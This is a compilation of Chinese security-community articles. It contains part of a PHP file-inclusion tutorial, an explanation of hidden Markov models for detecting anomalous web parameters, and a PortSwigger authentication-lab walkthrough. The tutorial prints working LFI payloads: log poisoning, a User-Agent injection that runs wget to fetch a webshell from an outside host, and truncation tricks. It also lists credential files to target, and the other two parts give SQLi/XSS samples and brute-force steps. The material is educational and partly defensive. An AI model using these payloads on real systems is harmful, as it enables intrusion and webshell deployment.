(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:WindowsSystem32inetsrvconfigapplicationHost.config
**3）网站配置文件**
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
用例1 包含日志一句话：
PayLoad：
http://localhost/include/file.php?file=<?php phpinfo(); ?>
日志会记录客户端请求及服务器响应的信息，访问http://www.xx.com/<?php phpinfo(); ?>时，<?php phpinfo();
?>也会被记录在日志里，也可以插入到User-Agent
但是在日志里这句话被编码了
所以用Burp Suite修改来绕过编码
日志内容如下：
Payload：
http://localhost/include/file.php?file=../../apache/logs/access.log
（这里利用相对路径，找到日志文件，并以php解析的方式打开了）
这样，日志就成了带有一句话的文件了。
参考：
包含日志文件getshell：<http://www.cnblogs.com/my1e3/p/5854897.html>
**4、包含/proc/self/environ文件**
用例：
**1）找到文件包含漏洞**
测试一下找出来
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd
**2）检查proc/self/environ是否可用访问**
www.aaa.com/view.php?page=../../../../../proc/self/environ
可访问就能利用了
**3）注入代码**
访问
www.aaa.com/view.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下：
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
然后提交请求。
我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt，并将其保存为它在shell.php网站目录)，我们的shell也就被创建,.如果不行，尝试使用exec()，因为系统可能被禁用的从php.ini网络服务器.
**4）访问shell即可**
参考：
LFI通过proc/self/environ直接获取webshell：http://www.linuxso.com/jiaobenruqin/1399.html
**5、包含Session文件**
说明：
这部分需要攻击者能够控制部分Session文件的内容。PHP默认生成的Session文件一般存放在/tmp目录下。
session文件一般在/tmp目录下，格式为sess_[your phpsessid
value]，有时候也有可能在/var/lib/php5之类的，在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值，也许你能够获得一个shell。
读取session文件：
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2
**四、 防御与绕过**
**1、00字符截断(PHP <5.3.4)**
说明：
PHP内核是由C语言实现的，因此使用了C语言中的一些字符串处理函数。在连接字符串时，0字节(x00)将作为字符串的结束符。所以在这个地方，攻击者只要在最后加入一个0字节，就能截断file变量之后的字符串。
../etc/passwd
通过web输入时，只需UrlEncode，变成:
../etc/passwd%00
字符串截断的技巧，也是文件包含中最常用的技巧
防御方法：
在一般的web应用中，0字节用户其实是不需要的，因此完全可以禁用0字节
**2、 超长字符截断**
采用00字符过滤并没有完全解决问题，
利用操作系统对目录最大长度的限制，可以不需要0字节而达到截断的目的。
<http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html>
我们知道目录字符串，在window下256字节、linux下4096字节时会达到最大值，最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串:
除了incldue()等4个函数之外，PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码，但能够读取敏感文件带来的后果也是比较严重的。例如:
fopen()、fread()
**3、任意目录遍历**
除了这种攻击方式，还可以使用"../../../"这样的方式来返回到上层目录中，这种方式又被称为"目录遍历(Path
Traversal)"。常见的目录遍历漏洞，还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
防御方法:
目录遍历漏洞是一种跨越目录读取文件的方法，但当PHP配置了open_basedir时，将很好地保护服务器，使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)
比如在没有设置open_basedir时，文件包含漏洞可以访问任意文件。
当设置了open_basedir时，则包含文件失败。
**4、问号截断**
这里看似将路径的后半段都定死了，但是结合HTTP传参的原理可以绕过去
攻击者可以构造类似如下的攻击URL：
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
产生的原理:
/?path=http://localhost/test/solution.php?
最终目标应用程序代码实际上执行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意，这里很巧妙，问号"?"后面的代码被解释成URL的querystring，这也是一种"截断"思想，和%00一样)
攻击者可以在http://localhost/test/solution.php上模拟出相应的路径，从而使之吻合
防御思路:
关闭远程文件包含的配置选项allow_url_include = Off
参考：
LFI、RFI、PHP封装协议安全问题学习：<http://www.cnblogs.com/littlehann/p/3665062.html>
**五、 敏感文件位置**
**1、Windows：**
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
...
**2、Linux：**
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
**六、 防御方法总结**
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制，可以使用白名单的方式，或者设置可以包含的目录，如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的，尝试对所有输入提交可能可能包含的文件地址，包括服务器本地文件及远程文件，进行严格的检查，参数中不允许出现../之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。 | 社区文章 |
# 机器学习Web安全原理探究之：为何隐马尔可夫模型可用于参数异常检测
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：唐银@涂鸦智能安全实验室
## 一、前言
本文从阅读难度上可以划分为两个部分，一、二、三、四、六小节算是一部分，主要是原理性的叙述讲解，五算是另外一个部分，内容是详细的数学推导过程。
阅读第一部分之前你只需要了解什么是向量、向量的转置、什么是矩阵，也就是线性代数的基本常识。第二部分对读者的数学基础要求稍微高了一点，你需要了解概率论、微积分、凸优化相关的知识。
首先声明，本文没有算法和理论上的创新，可能不能让AI安全大佬满意。当然，如果大佬能在百忙之中给予一些指导，笔者将感激不尽！
如果你对AI安全感兴趣，并且想要搞清楚背后的原理，那么这篇文章就是为你写的。在没有搞清楚原理之前，你可能觉得机器学习用在安全问题上就是门玄学技术（信则有，不信则无的那种）。希望阅读完之后，能够改变你的看法，并且帮助你把这门“玄学”技术应用到实际的工作问题中。
初次了解到隐马尔可夫模型在Web安全异常检测领域的应用是几年前，一次偶然的机会读到楚安的文章[《数据科学在Web威胁感知中的应用》](https://www.jianshu.com/p/942d1beb7fdd)。前前后后也花了很多精力去学习机器学习相关的理论，当看到各种精妙的数学推导时，深深感受到了人与人之间智商上的鸿沟，惊叹于前人智慧的同时，也体验到了求知的乐趣。最近恰好工作需要，有机会重新捡起这些知识，发现细节都忘的差不多了，于是重新梳理了一遍，把内容整理下来，希望能够帮助到更多的人，在求知的道路上节省一些时间。
传统的入侵检测技术通常是基于规则的，类似黑名单的方式去匹配哪些流量是恶意的攻击，而黑客经常可以找到新的绕过方法。作为防守方，面对复杂的业务，如果规则上追求通用性，要么防护效果无法达到预期，要么产生很多误报，而基于这样的规则进行拦截，甚至可能会影响到正常的业务运行。如果规则上追求更强的针对性，那么维护成本也会增大。
近些年，各种机器学习算法不断被应用于Web安全入侵检测领域，与传统的入侵检测技术形成互补。隐马尔可夫算法是其中比较有代表性的一个，原理主要是基于大量的正常流量数据训练模型，利用模型检测新的流量数据，当流量数据与模型不符时，判定为异常流量。这种方式类似于白名单，更难绕过，但与白名单规则不同的是，机器学习模型具有更好的泛化能力，即使两条正常流量中数据内容完全不同，依然可以达到很好的识别能力。
## 二、从玩骰子开始
假设有三个不同的骰子（Dice）。
第一个是一个四面体的骰子，每个面的数字分别是1到4，各个面出现的概率相等，都是1/4。（给这个骰子起个名字叫D4）
第二个是正常骰子，6个面，每个面出现的概率相等，都是1/6。（这个骰子叫D6）
第三个是一个八面体的骰子，每个面的数字分别是1到8，各个面出现的概率相等，为1/8。（这个骰子叫D8）
现在我从三个骰子里随机挑一个，假设拿到每个骰子的概率都是1/3，抛一下骰子，得到一个数字。重复循环这个过程，重复了10次，得到了一串数字 1 6 3 5 2
7 3 5 2 4。
假设我不告诉你我每次挑到的是哪个骰子，只把这串数字告诉你，相当于你只是观测到了这串数字。那么对于你来说，这串可观测到的数字连在一起就是 **观测序列** 。
而我每次挑到的是哪种骰子，对你来说是隐含的状态，把这些隐含状态记录连起来，就是 **隐含状态序列**
。比如说，这个隐含状态序列可能是D6、D8、D8、D6、D4、D8、D6、D6、D4、D8 。
到这里，我们可以通过类比去理解几个概念：
1、状态集合
三种骰子分别对应三种不同状态，这里状态集合就是：Q = {D4,D6,D8}
2、观测集合
骰子的数字对应所有可以观测到的结果，这里观测集合就是：V={1,2,3,4,5,6,7,8}
3、隐含状态序列
Z = {D6,D8,D8,D6,D4,D8,D6,D6,D4,D8}
4、状态序列和观测序列的长度
前面我们重复了10次实验，所以状态序列和观测序列的长度就是：T=10
5、初始状态概率分布
我们假设 **第一次** （注意这里说的是第一次）三个骰子被取到的概率都是1/3，那么可以用向量的形式表示：
对于骰子问题，这个就是其对应的初始状态概率分布。
6、状态转移概率（transition probability）分布
也叫状态转移矩阵，先给出来再解释
第一行第一列，表示本次隐含状态是D4，下一次还是D4的概率；
第一行第二列，表示本次隐含状态是D4，下一次是D6的概率；
第二行第一列，表示本次隐含状态是D6，下一次是D4的概率；
······
以此类推。
这个是按照最开始我们的假设，每次选择骰子都是随机等概率的，所以状态转移矩阵里每一项状态转移概率值都一样。
现在我们更改一下状态转移的假设：
如果取到的骰子是D4，那么下一个只能取D8；如果取到D8，下一个取到D4的概率是0.2，取到D6的概率是0.7，再次取到D8的概率是0.1；如果取到D6，下一个取到D4和D8的概率都是0.5，不能连续取D6。
那么对应上述条件的状态转移矩阵就是：
7、输出概率（emission probability）分布
隐含状态到可见状态之间的概率叫输出概率，也叫发射概率。
按照最初假设的骰子规则，对应的输出概率分布：
每行分别对应D4、D6、D8三个骰子抛出后出现数字1-8的概率。
假设我出千，D6被我做了手脚，抛出6的概率是1/2，其余数字都是1/10，那么对应的输出概率分布为：
## 三、隐马尔可夫模型的三个基本问题
我们用数学符号来抽象表示一下上面的模型：θ=(A,B,π)
θ用来表示模型
A表示状态转移矩阵
B表示输出概率分布
π表示初始状态概率分布
### 概率计算问题（评估问题）
仍然以最初的骰子问题为例，已知模型：θ=(A,B,π)
其中，状态转移矩阵：
输出概率分布：
初始状态概率分布：
已知观测序列：Y=(1,6,3,5,2,7,3,5,2,4)
求在上述模型θ下观测序列Y出现的概率P(Y∣θ)。
相当于你知道骰子有几种（状态集合），每种骰子是什么样的（状态转移矩阵），根据骰子抛出的结果（观测序列），你可以计算抛出这个结果的概率。
看到这里，你可能会问，我是谁？我在哪？我为啥要算这玩意？？？
既然你能抛出这一串结果，那么说明这一串结果的出现的概率是比较大的。你计算一下在当前已知模型下出现这一串序列的概率，如果得到的概率非常非常小，你基本可以判断，我出千了，我用的骰子不符合正常骰子的模型。如果是正常的模型θ，不太可能会出现这一串数字。换个角度看，这一串数字对于正常模型来说，就是异常情况！
总结起来就是，你可以用观测序列评估模型是否靠谱；也可以假设模型是靠谱的，用这个模型来评估观测到的数据是否异常。
### 学习问题
已知有3种骰子，已知观测序列Y =
(1,6,3,5,2,7,3,5,2,4)。估计模型θ=(A,B,π)的参数，使得以估计出来的参数作为前提条件时，出现这个观测序列的概率P(Y∣θ)最大。
相当于，你现在知道有几种骰子（但是不知道都是啥样的骰子），还知道骰子抛出来的结果（观测序列），其他就啥也不知道了。现在让你掐指算一下，骰子都是啥样的，A,B,π里面的值都得求出来。
看到这，你应该又是一脸问号，what？我就知道这么点信息，这能算出来？鲁豫看了都想说：
当我第一次看到这个问题的时候，我也不信，后面算完我就相信了。
### 预测问题（解码问题）
已知模型θ=(A,B,π)，已知观测序列Y =
(1,6,3,5,2,7,3,5,2,4)，求最有可能对应的隐含状态序列Z，也就是计算概率P=(Z∣Y,θ)，得到能让这个概率最大的Z。
相当于，你知道骰子有几种（状态集合），每种骰子是什么样的（状态转移矩阵），根据骰子抛出的结果（观测序列），可以计算出每次抛的是哪种骰子（隐含状态序列）。
## 四、对应到Web请求参数异常检测中
对于上面三个问题，我会在后面讲具体怎么求解。为了防止数学计算/公式导致的劝退现象，我打算先提前讲一下隐马尔可夫模型为什么可以用在Web安全相关的参数异常检测中，以及和上述基本问题的对应关系。
“正常总是基本相似，异常却各有各的异常。“基于这样的假设前提，隐马尔可夫模型才可能达到比较好的效果。也就是说，隐马尔可夫模型只适用于正常请求参数都比较相似的场景。
### 概率计算问题（评估问题）
假设有一个填写用户邮箱功能的Web Api，下面是3条业务中产生的正常post请求数据：
{"id":"12334", "email": "[email protected]"}
{"id":"14352", "email": "[email protected]"}
{"id":"27988", "email": "[email protected]"}
下面是三条攻击者发送的异常请求数据：
{"id":"67123' union select 1,2,3", "email": "[email protected]"}
{"id":"67123", "email": "[email protected]\\"\>\<img src=1 onerror=alert('xss')\>"}
{"id":"67123", "email": "[email protected]' and 1=1-- a"}
可以看到上面正常的请求中，参数值都是比较相似的。而攻击请求的Payload和正常参数值有很大不同。如果我们能够利用大量的正常请求参数，通过计算学习到一个模型，再拿这个模型去评估新的数据，那么不符合这个模型的数据，都可以判定为异常。
现在，你可以想象每个请求参数对应着一套形状各不相同的不规则骰子，每个骰子都有很多面，每个面上刻着一个字符。这一套骰子以及每次抛之前选骰子的规则加在一起就是我们的模型。有了这个模型，每次你就可以对新输入的字符串进行计算，如果是正常请求的参数字符串，这套骰子能把它抛出来的概率一定远大于异常请求参数被抛出来的概率。
例如：id这套骰子，只能抛出来数字，如果你看到其他字符出现在结果里，那肯定不是这套骰子抛出来的。同样email这套骰子能抛出来的字符也有限，除了字母就是@.这两个符号，如果结果里出现尖括号<，那也不会是这套骰子抛出来的。对于异常的情况，在模型下的条件概率会非常非常小，甚至为0。
### 学习问题
要根据上面的理论通过计算区分正常和异常，前提条件是，我们得先有一个Web请求参数的模型，那么该如何得到这个模型呢？
继续想象每个请求参数对应着一套形状不规则的骰子，每个骰子有多少面以及形状是否规则（决定输出概率）我们是不知道的，每次抛骰子前如何选骰子的规则我们也不知道（决定状态转移矩阵），第一次应该选哪个骰子来抛我们也不知道（决定初始状态概率分布）。
我们唯一知道的，就是一堆观察到的字符串，也就是这套骰子每次抛出来的结果。
如果能反推出来上面所有的未知信息，那么我们就成功得到了模型。
接下来我们尝试建立模型。
从Web安全的角度看，数字、字母、汉字、其他语言类型的字符与一些特殊字符对于参数注入类型的攻击Payload类型来说，有着明显意义上的不同。如果我们把每个观测到的字符都直接加入观测集合，那么将会导致我们的模型非常复杂，模型越复杂，泛化能力就可能越差。（想象一下，需要大量的骰子，每个骰子有特别多的面，才能表示出模型，直觉上计算量和预测效果都不会太理想。）
所以，我们可以将数字、字母等字符用统一的符号代替。比如数字用N（Number）、字母、汉字、其他语言类型的字符用A（Alphabet）来表示，特殊字符可以不做转化处理直接表示观测状态，加入观测集合。
例如，
{"id":"12334", "email": "[email protected]"}
这条数据用上面的方法表示成观测序列就是：
{"id":"NNNNN", "email": "[email protected]"}
接下来对比上一个小节讲的学习问题，可以看到，那里除了观测到的骰子序列，还有一个已知条件——骰子个数为3。而这里我们是不知道一个Web请求参数应该对应几个骰子（隐含状态）的，那怎么办呢？
那就只能靠假设了，问题又来了，假设有多少个合理呢？如果你了解过机器学习，那么你应该大概率听说过“调参侠”，这是机器学习工程师对自己工作自嘲的称谓。在机器学习领域，很多参数是要人工去尝试着调节的（在我们的上下文中，这里的参数指隐含状态的个数）。很多问题，目前为止都没有严谨的数学算法能够通过计算调节出最优的参数，遍历所有的数字去计算也不现实，毕竟目前人类社会科技的发展阶段还不支持这样的算力。我们只能退而求其次，通过有限次数的调节，最终去寻找一个相对更优的参数。
在[《数据科学在Web威胁感知中的应用》](https://www.jianshu.com/p/942d1beb7fdd)这篇文章里，作者取了所有观测序列中的观测状态数均值做了四舍五入作为隐藏状态数。
对于这种选取方式的合理性暂时不做探讨，因为在没有找到足够的理论依据，以及足够量级的实践之前，笔者也不好妄下结论。可以先完全照搬，以此为起点，在前人的经验上继续探索。
再比如，这两篇语音识别问题相关的论文中，隐藏状态数选取在6～8之间：
[《语音识别中隐马尔可夫模型状态数的选取原则及研究》](https://wenku.baidu.com/view/979c64622379168884868762caaedd3383c4b590)
[《语音识别中隐马尔可夫模型状态数的研究》](https://www.ixueshu.com/document/205aa064fbe7cef0318947a18e7f9386.html)
虽然问题不同，但理论上也许可以借鉴，或许能找到更好的隐藏状态数选取方式。
### 预测问题（解码问题）
这个问题其实和我们要做的Web请求参数异常检测没什么关系。主要用在翻译，语音识别等问题上。比如根据训练好的模型，用一段观测到的音频序列，预测出其代表的文字（隐藏状态）。由于我们的问题用不到，所以这个就不做过多解释了，感兴趣的读者可以自行探索。
如果可以求解前两个基本问题，那么就可以说明隐马尔可夫模型用到Web安全参数异常检测问题上是有完整的理论依据的，等你搞清楚这个理论依据，这个问题就不再是个玄学问题了。
## 五、求解
数学警告！如果感觉看不下去，记住结论就好，上面讲的，真的是可以算出来的！如果对这部分感兴趣，就请继续往下看。
要读懂下面的内容，你需要了解概率论、微积分、凸优化相关的知识。
### 学习问题
如何推导学习问题呢？这里要用到EM（Expectation Maximization，期望极大）算法。
先复习一下Jensen不等式，后面会用到。如果不了解或者忘记了，可以先看下笔者以前写的关于凸优化的笔记[《凸优化相关概念整理总结》](https://stayfoolish.cc/article/36)。
Jensen不等式：
在隐马尔可夫模型的参数学习问题中，假设我们用Y表示观测变量的数据，Z表示隐含变量的数据，θ表示需要估计的模型参数。
我们面对的是一个含有隐含变量Z的概率模型，目标是极大化观测数据Y关于参数θ的对数似然函数，即极大化：
这一极大化求解的重要困难是：上面式子中有未观测数据（隐含变量）Z，有包含和（Z为离散型时）或积分（Z为连续型时）的对数，很难通过求导等于0求得解析解。
EM算法采用的是通过迭代逐步近似极大化L(θ):
假设在第i次迭代后θ的估计值是θ(i)，我们希望新的估计值θ能使L(θ)增加，即
并逐步达到极大值。为此，考虑两者的差:
由于ln(x)是凹函数，且
把
看作一个整体。那么可以根据Jensen不等式，得到
所以
所以
令
则
注意，这里θ(i)是已知的，我们在前面讲过，这是第i次迭代后的参数值。对于一个学习问题，我们通常会初始化参数值，作为第一次迭代的输入参数值。
由于θ(i)是已知的，所以上式不等号两边都是关于θ的函数。
函数B(θ,θ(i))是L(θ)的一个下界，假设θ(i+1)可以使得B(θ,θ(i))达到极大，即
那么
因此，任何可以使B(θ,θ(i))增大的θ，也可以使L(θ)增大，于是问题就转化为了求解能使得B(θ,θ(i))达到极大的θ(i+1)，即
省去对θ最大化而言是常数（不影响计算）的项，
令
至此，我们成功把求不完全数据Y（观测数据Y也称不完全数据）的对数似然函数L(θ)=lnP(Y∣θ)极大化问题转化为了求：完全数据（观测数据Y和隐含状态Z连在一起称为完全数据）的对数似然函数L(θ)=lnP(Y,Z∣θ)关于在给定观测数据Y和当前参数θ下对未观测数据Z的条件概率分布P(Z∣Y,θ(i))的期望，也就是Q函数。
EM算法中的E(Expectation)指的就是上述步骤。而M(Maximization)指的就是求Q函数的极大值，这个极大值是可以通过求导的方式计算得到的。
推导完EM算法，我们现在回过头再看隐马尔可夫模型，将模型的学习问题代入EM算法。
将观测数据记做
隐含状态序列记做
完全数据是
用表示隐马尔可夫模型参数当前的估计值，θ是要极大化的模型参数。
EM算法E步：求Q函数
省去常数因子，则
于是
EM算法M步：极大化Q函数，求模型参数A，B，π
对于上式，可以对相加的各项分别极大化。第一项
这里N代表隐含状态总数，由于
所以可以用拉格朗日乘子法，写出拉格朗日函数：
上式对π_i求偏导数并令结果为0，解得
代回上面等式，得
Q函数第二项
状态转移概率矩阵中每一行的元素之和为1，所以可以利用具有约束条件的拉格朗日乘子法，这里N代表隐含状态总数。
对a_ij求偏导，令结果等于0，得到
带回上面式子，得到
Q函数最后一项：
每种状态的发射概率之和为1，同样利用拉格朗日乘子法，这里M表示观测集合元素总数，v_k表示观测状态。
对b_j(y_t)求偏导，令结果等于0，得到
对b_j(v_k)求偏导，令结果等于0，只有当y_t = v_k时，b_j(y_t)对b_j(v_k)的偏导数不为0，用I(y_t =
v_k)表示该偏导数，可以得到
呼～终于把学习问题推导完了。
### 概率计算问题（评估问题）
上述学习问题中的各项结果具体的计算，以及已知模型时，计算当前观测序列由已知模型生成的概率，都要用到概率计算问题中的前向-后向算法。算法比较简单，容易理解，这里就不再展开赘述了，感兴趣的读者可以查阅文章末尾的参考资料去了解。
上面这些内容，只是证明了可以通过计算，利用输入的训练数据（观测序列）得到可用的模型，再利用得到的模型可以反过来评估输入数据是否符合模型。
从头到尾完整推导下来，我们就可以很清晰的理解隐马尔可夫模型应用于Web参数异常检测的合理性了。
## 六、其他
开篇骰子的例子参考了《白话大数据和机器学习》中的示例，这个示例是我看过的几个讲解隐马尔可夫模型的示例中相对比较好的一个，所以选择了用这个示例来类比Web安全相关的参数异常检测问题。
由于参考了很多不同的资料，每份资料的数学公式符号和推导过程都略有不同，笔者在写作过程中尽量将符号统一以增强连贯性，便于理解。
后面如果有时间，打算再接着写一篇实践相关的文章，谈谈HMM算法在大数据实时计算场景下的具体实现以及架构设计。
行文仓促，为了更直白的说明问题，帮助读者理解，一些表述也许并不严谨。且推导过程对于严谨性的要求较高，难免出错。如有错误，欢迎指正。
参考资料：
《统计学习方法》
《白话大数据与机器学习》
[《数据科学在Web威胁感知中的应用》](https://www.jianshu.com/p/942d1beb7fdd)
[《基于机器学习的web异常检测》](https://www.cnblogs.com/alisecurity/p/6378869.html)
[《语音识别中隐马尔可夫模型状态数的选取原则及研究》](https://wenku.baidu.com/view/979c64622379168884868762caaedd3383c4b590)
[《语音识别中隐马尔可夫模型状态数的研究》](https://www.ixueshu.com/document/205aa064fbe7cef0318947a18e7f9386.html)
[知乎:如何用简单易懂的例子解释隐马尔可夫模型？](https://www.zhihu.com/question/20962240)
[徐亦达机器学习：Hidden Markov Model
隐马尔可夫模型(HMM)](https://www.bilibili.com/video/BV1BW411P7gV)
**漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com> ）欢迎白帽子来探索。**
**招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递sec#tuya.com，请注明来源。** | 社区文章 |
# 梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - 身份验证专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 服务器端漏洞篇介绍
> burp官方说他们建议初学者先看服务器漏洞篇，因为初学者只需要了解服务器端发生了什么就可以了
## 服务器端漏洞篇 – 身份验证专题
### 什么是身份验证？
身份验证，顾名思义，就是验证你是不是你，身份验证的因素可以归结为以下三个类别
* 所知，即密码啊，安全问题啊之类的保存在你记忆里的信息
* 所有，即手机或验证码等你拥有的东西，那这时候有人就会有疑惑了，那密码也是我拥有的呀，为什么不算是这个层面的呢，这里的所有主要偏向于物理层面的，大家有这种疑惑的原因就是这个验证码，那么大家想一下，你用什么接收验证码，手机或者什么设备对吧，其实讲手机也不是很严谨的，实际上验证码是因为你拥有一张独一无二的SIM卡，然后验证码才会发到装有这张手机卡的手机里，而不是别人的手机里
* 所是或所做，即你的生物特征或行为特征，生物特征很好理解，就是指纹啊，面部特征啊这些的，行为特征呢，就类似一些你的生活习惯，比如步态之类的，但是目前的技术来看，应该还是没办法用步态去做身份验证的。
### 身份验证(authentication)和授权(authorization)有什么区别呢？
其实很多人到现在都很容易弄混这两个词，因为都是auth开头的，然后又都和用户有关，所以我们就简单带大家区分一下这两个概念，我们前面讲了，身份验证就是验证你是不是你，而授权呢，是允不允许你做哪些事
### 身份验证漏洞是怎么产生的呢？
一般来讲，身份验证漏洞一般由两种情况产生
* 一种就是攻击难度比较容易的暴力破解，往往是由于受害者的账号或密码太简单导致的
* 另一种的危害就很大了，就是由于某种逻辑设计上的缺陷导致攻击者可以直接绕过身份验证机制，burp称之为有损身份验证
### 身份验证机制中的漏洞
burp将身份验证漏洞分为由三种机制造成的漏洞，下面我们一一进行讲解
### 基于密码登录中的漏洞
基于密码登录这个很好理解，就是这个应用系统采用什么方式验证你是不是你呢？对，就是假设只有本人才知道本人账号的密码，但是如果通过什么方式知道了某人的密码，那不就可以骗过这种验证机制从而也能登录到这个人的账号吗，下面我们来介绍几种获取方法
### 暴力破解
暴力破解，也很好理解的，就是如果受害者的用户名或密码是有一定规律或者是比较常见的字符串，那攻击者完全可以把这些可能都尝试一遍，没准就能瞎猫碰上死耗子呢，下面我们将暴力破解分为暴力破解用户名和密码两个小节来讲
### 暴力破解用户名
一般攻击者会遇到这样的网站，就是使用企业邮箱登录的，但是有的企业邮箱的名头是固定组合的，比如”姓.名”这种的，就非常容易被攻击者猜到，当然了，如果是使用用户名登录的话，也会有一些比较容易猜到的用户名，如admin或administrator之类的，而且这类用户名往往具有非常高的权限，这就非常危险了
除了这些非常容易猜到的用户名以外还有没有什么办法获取到某些用户名呢，比如泄漏的配置文件中往往可能存在一些用户名，而且往往这些用户名也是属于拥有敏感权限的用户名，所以这也是企业应该注意的地方，还有一些地方也可能会泄漏用户名，比如响应包中，评论区之类的地方。
### 暴力破解密码
暴力破解密码就是当我们确定了想要暴力破解密码的用户以后，采取各种方法去尝试其密码的可能性，如果应用系统并未强制性地要求用户的密码设置强密码则可能存在使用弱密码登录的用户，这些用户就很容易受到暴力破解攻击，所以我们可以这样设置密码复杂度要求
* 最少字符数
* 大小写字母组合
* 至少一个特殊字符
以上的复杂度要求虽然不是很严格，但是这样也会增加攻击者暴力破解的难度，当然了，虽然一直都在说密码强度的重要性，但是如果一个企业有成千上万个应用系统呢，也难免会存在一些使用超级弱密码登录的敏感应用系统，所以这里梨子觉得可以根据资产的重要性来设置不同的密码复杂度要求，但是如果这样必定会增加运营者的管理成本，不过相对于资产被攻击带来的损失还是值得的，这里burp介绍了一种人们的习惯，就是虽然安全运营者发布了强制性定期修改密码的规定，但是人们为了方便记忆往往仅对原密码进行较小的修改导致如果原密码意外泄漏，攻击者依然能够通过暴力破解的方式猜解密码，所以还需要在修改密码时对变动的字符部分进行对比，但是梨子觉得这种规定根本不会有人遵守的，所以往往这种机制遭到暴力破解攻击有很大部分是人的因素。
### 用户名枚举
用户名枚举，就是通过一些特征来判断用户是否为有效用户，比如在注册页面，它会检测你想注册的用户是否已经存在，这个功能在攻击者手里的作用就不是用来注册用户了，而是用来枚举用户名，这样可以为暴力破解密码做铺垫，我们可以从三种信息中实现用户名枚举
* **状态码** 有的应用程序，如果用户名存在与不存在会返回不同的状态码，通过对状态码的判断，攻击者就能很直观地知道暴力破解列表中哪些用户是存在的。
* **报错信息** 有的应用程序本意是想通过报错信息提示用户检查用户名或密码的错误，但是可能应用系统提示的太明显，比如用户名有误会提示用户名有误，密码有误会提示密码有误，这就给攻击者可乘之机了，通过这种差异报错信息，攻击者也可以用来枚举用户名。
* **响应时间** 一个应用程序处理请求都是需要时间的，多个请求处理的时间明显比单个请求处理的时间长，所以攻击者可以利用这种差异来枚举用户名，比如当输入过长的密码时，明显请求的处理时间会大幅度增加等差异。
下面我们将通过以上三种不同类型的配套靶场进行深入理解
### 配套靶场：通过不同的响应枚举用户名
首先我们把登录请求包发到Intruder中，然后将用户名值设置为payload位
然后我们将burp给的用户名字典装填
然后因为用户名错误还是密码错误的响应状态码是相同的，但是响应包正文会有一点差异，所以我们利用正则功能自动提取爆破结果中的特征值
然后我们就能根据提取出的特征值筛选爆破结果了
我们看到提示密码错误了，这就说明用户名是正确的，于是我们接下来爆破密码，步骤与爆破用户名类似，故忽略，爆破到密码以后，打开响应包就能看到已经成功登录了
### 配套靶场：通过有微妙差异的响应枚举用户名
解决这道题的方法与上一道题是类似的，唯一的不同就是响应包正文的差异比较微妙，只相差了一个英文句号，眼神儿不好的根本看不出来
我们看到这个差异真的太微妙了，所以这时候正则提取的好处就来了，一下子就筛选出来了，然后我们再利用相同的方法爆破密码就可以了
### 配套靶场：通过响应时间枚举用户名
这次我们发现不管是用户名错误还是密码错误，响应包正文都是一样的了，但是我们发现响应时间不一样，如果正确的话会相差很多，经过burp提示，我们需要将密码填写的特别长，因为这会增加数据库操作时间从而延长响应时间，经过测试发现它会检测IP，所以我们利用X-Forwarded-For伪造IP，于是我们又一次成功爆破到用户名
嗯？为什么有两个账号，因为另一个是burp给的测试用户，不然我们怎么知道用户名正确的时候响应时间会相差很多呢，爆破到用户名了，我们直接利用之前的方法爆破密码就能登进去了，因为burp的靶场目的都是为了让大家理解漏洞，所以都是比较浅显易懂的，没有任何弯弯绕，所以这里的用户密码都是一定在burp给的用户名和密码字典里的
